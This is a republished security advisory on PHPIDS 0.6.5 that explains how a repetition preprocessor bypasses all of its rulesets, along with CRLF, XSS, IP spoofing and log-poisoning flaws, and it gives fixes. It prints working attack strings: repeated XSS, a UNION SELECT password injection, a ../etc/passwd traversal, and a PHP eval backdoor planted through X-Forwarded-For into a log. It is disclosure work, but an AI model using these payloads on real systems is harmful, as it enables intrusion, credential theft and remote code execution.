PHPIDS - PHP Intrusion Detection System

[Fi8sVrs]

PHP Intrusion Detection System (PHPIDS) CRLF Injection, XSS, IP Spoofing, LFI Attack Vulnerabilityes

PHPIDS is vulnerable to CRLF Injection, XSS, IP Spoofing and LFI Attacks. This is a very critical break, not only is all of the protection provided by PHPIDS bypassed, but PHPIDS can help the attacker achieve remote code execution. So in fact, running this version of PHPIDS made you less secure.

Credit:

The information has been provided by Michael Brooks.

The original article can be found at: https://sitewat.ch/en/Advisories/7

Complete Ruleset Bypass in PHPIDS 0.6.5

Product: PHPIDS 0.6.5

Vendor: https://phpids.org/

Version: 0.6.5

Disclosed: 2011-08-26

Vulnerability type: Complete Ruleset Bypass

Risk: Level 4

Introduction

PHPIDS is a Intrusion Detection/Prevention system that is designed to be embedded into a PHP

application. This is done via an include, which should be performed prior to executing any of the

application's code. It is designed to prevent a variety of attacks, however most of the rule-sets focus

on SQL Injection and XSS. The project has a clean design and is well documented.

Anatomy

PHPIDS comes ready out of the archive. You can try it out by accessing ./docs/examples/example.php

in your browser. This file is a good place to test attack strings to see what PHPIDS filters match the

attack string, if any. All rules are written as Perl Compatible Regular Expressions (PCRE). The filters

can be found in ./lib/IDS/default_filter.xml. However a lot happens before a filter is applied to an

attack string.

The file example.php will instantiate the IDS_Monitor class found in ./lib/IDS/Monitor.php. The

_detect() method in this class performs preprocessing on a input variable prior to iterating over all

filters. The file ./lib/IDS/Converter.php contains the IDS_Converter class which is a collection of

preprocessor methods all of which are executed on input data prior to reaching the filter. Many of the

attacks in this paper are leveraging vulnerabilities introduced by the IDS_Converter class.

Tools

A few tools where used when attacking PHPIDS. One of the first tools used was the RIPS PHP static

analysis tool. PHPIDS produced very few results, which is a good sign. No vulnerabilities where

found in the rips results. To test the quality of the existing rule-sets a number of vulnerability scanners

where used, including w3af, Wapiti and Skipfish. A number of attack strings made it past the

default_fitler.xml. Six additional rule-sets where written to improve PHPIDS's ability to stop these

tools from detecting vulnerabilities. To conduct analysis of an individual rule-set or preprocessor

method RegexBuddy was used. RegexBuddy allows for the debugging of a regular expression. This

debugging process can answer the question What part of this regular expression is matching my attack

string? .

Attacks

Incorrect Assumption:

Attacks can never be repetitive

Impact:

Complete and total bypass of ALL PHPIDS rule-sets as of 0.6.5

"Thirty-three wrongs makes a right"

Vulnerable Code:

The vulnerable code is on line 90 in ./lib/IDS/Converter.php.

Here is the vulnerable part of the regex colorized using RegexBuddy:

This regular expression matches any 2 characters that are repeated 33 or more times in succession. The

first match is a back reference declared in the regex with the \1, 32 additional matches are required to

satisfy this regex. The attack string <script>alert(1)</script> is matched by 4 filter rule-sets. If this

string is repeated 33 times then the attack will slip past PHPIDS undetected.

<script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><sc

ript>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script

>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>ale

rt(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)

</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</sc

ript><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script

><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><s

cript>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script>

SQL Injection is also exploitable as long as the attack string ends with a comment. For instance the

following attack string is matched by 6 rules, all of which can be bypassed if this string is duplicated

33 times. It is acceptable to duplicate this attack string because it ends with a comment, there for the

32 other iterations will be commented out:

' union select password from mySQL.user limit 1 /*

Directly Traversal and Local File Include attacks work as long as the string is null terminated

../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd

%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00

Format string vulnerability are attacks because they are repetitive. Here is an example attack string that

bypasses PHPIDS:

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

PHP is written in C++ and many of the modules are also written in C/C++ which means that they can

be vulnerable to format string vulnerabilities. In fact 9 CVEs have been issued for format string

vulnerabilities affecting PHP. Repetition is what makes this an attack. If too few format string

modifiers are present then the process will not crash and the vulnerability will go undetected.

Solution:

Remove convertFromRepetition() immediately! Do not try and repair this function it is a flawed

approach to the problem.

Incorrect Assumption:

Monitor.php line 289:

Vulnerable Code:

Monitor.php line 291:

The problem is that an attack can be purely alphanumeric. These seven characters are also permitted

/@!?.\r\n , the last two being carriage returns \r and line feeds \n . So CRLF injection can slip by

PHPIDS undetected. As a real world example this SQL Injection vulnerability in IG-Shop will be used.

The vulnerable code in IG-Shop is:

Clearly this is vulnerable to SQL Injection because it doesn't have quote marks around the 'id' variable.

This can be exploited as follows:

http://localhost/compare_product.php?id=0 union select password from users limit 1

The limit 1 means that the first record will be returned, in almost all cases this is the administrator.

However the attacker is free to iterate over the entire table by using the offset operator instead of

using a comma.

http://localhost/compare_product.php?id=0 union select password from users limit 1 offset 1

this request would select the 2nd record in the table.

With this preprocessor in place its impossible to write a rule-set for this SQL Injection attack. To make

matters worse, many vulnerability scanners are good at finding this type of SQL injection with a test

like this:

http://localhost/compare_product.php?id=sleep(30)

Solution:

This vulnerability is two fold. I removed this preprocessor entirely because its clearly flawed.

However to address detection of this vulnerability this rule-set was written:

(?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\)))

(This will also work for postgreSQL's pg_sleep() function, there are already rule-sets for MS-SQL's

wait for command )

Incorrect Assumption:

Attacks can only come from $_GET, $_POST ,$_COOKIE and $_REQUEST.

Impact:

Some XSS is undetected.

The problem is that $_SERVER can be the source of an attack. In fact $_SERVER['PHP_SELF'] is

commonly used as an XSS vector. This vector will go undetected in most PHPIDS installs due to an

insecure default.

Example XSS Vulnerability:

Prof of Concept Exploit:

http://localhost/xss.php/<script>alert(1)</script>

Solution:

The simplest solution is to add $_SERVER to the list of super globals that are checked for attack

strings.

Incorrect Assumption:

The HTTP_X_FORWARDED_FOR http header cannot be controlled by the attacker and is there for

the correct IP address.

Impact:

IP address spoofing.

Vulnerable Code:

./lib/IDS/Log/Database.php line 164

and

./lib/IDS/Log/File.php line 89

Solution:

$_SERVER should not be trusted and can be the source of an attack. Ideally the entire HTTP Request

should be logged because any part of it could be an attack. In this case an attacker could be using a

transparent http proxy and there for HTTP_X_FORWARDED_FOR could be useful to law

enforcement. However REMOTE_ADDR is taken directly from the httpd's tcp socket and cannot be

spoofed over the open Internet because of the three way handshake. Thus REMOTE_ADDR is

inherently more trustworthy, not the other way around. It is interesting to note that the Email.php

logging module is handling this vulnerability correctly, it logs both values if they are present.

Incorrect Assumption:

Log files are safe.

Impact:

LFI attacks can bypass PHPIDS by using the duplication attack discussed earlier in the paper. Using

this vulnerability an LFI payload can be written to a file. This is an important step in turning a Local

File Include (LFI) vulnerability into Remote Code Execution (RCE). This feature is enabled by

default.

Vulnerable Code:

./lib/IDS/Log/File.php line 156:

$this->ip is an attacker controlled variable $_SERVER['HTTP_X_FORWARDED_FOR']. If this http

header element contains <?php eval($_GET[e]);?> then it will be written to

./lib/IDS/tmp/phpids_log.txt. Here is an example poisoned record in the log:

"127.0.0.1 (<?php eval($_GET['e']);?>)",2011-06-25T15:37:29-06:00,100,"xss csrf id rfe lfi","test=

%3C%3Fphp%20eval%28%24_GET%5B%27e%27%5D%29%3B%3F%3E

HTTP_X_FORWARDED_FOR=%3C%3Fphp%20eval%28%24_GET%5B%27e%27%5D%29%3B

%3F%3E QUERY_STRING=test%3D%253C%3Fphp%2520eval%28%24_GET%5B%2527e

%2527%5D%29%3B%3F%253E REQUEST_URI=%2Fdocs%2Fexamples%2Fexample.php%3Ftest

%3D%253C%3Fphp%2520eval%28%24_GET%5B%2527e%2527%5D%29%3B%3F

%253E","%2Fdocs%2Fexamples%2Fexample.php%3Ftest%3D%253C%3Fphp%2520eval

%28%24_GET%5B%2527e%2527%5D%29%3B%3F%253E","127.0.1.1"

This URL will also trigger this vulnerability:

http://localhost/docs/examples/example.php?<?eval(array_pop($_GET))?>=<script>alert(1)</script>

The variable's name will be written to the file, the value is just to trigger a filter so that it will be

logged. Brackets cannot be used in this attack, to trigger the backdoor use file.php?a=phpinfo();

Solution:

urlencode both $this->ip and $attackedParameters.

Conclusion

The only way to make a project like this stronger is to break it. This is a very critical break, not only is

all of the protection provided by PHPIDS bypassed, but PHPIDS can help the attacker achieve remote

code execution. So in fact, running this version of PHPIDS made you less secure. All vulnerabilities

covered in this paper where discovered and patches where written by Michael Brooks. This was done

as a public service by https://sitewat.ch/ . Our goal is to make the Internet a better place. Fixing

PHPIDS is one way in which we are accomplishing our goal

SecuriTeam - PHP Intrusion Detection System (PHPIDS) CRLF Injection, XSS, IP Spoofing, LFI Attack Vulnerabilityes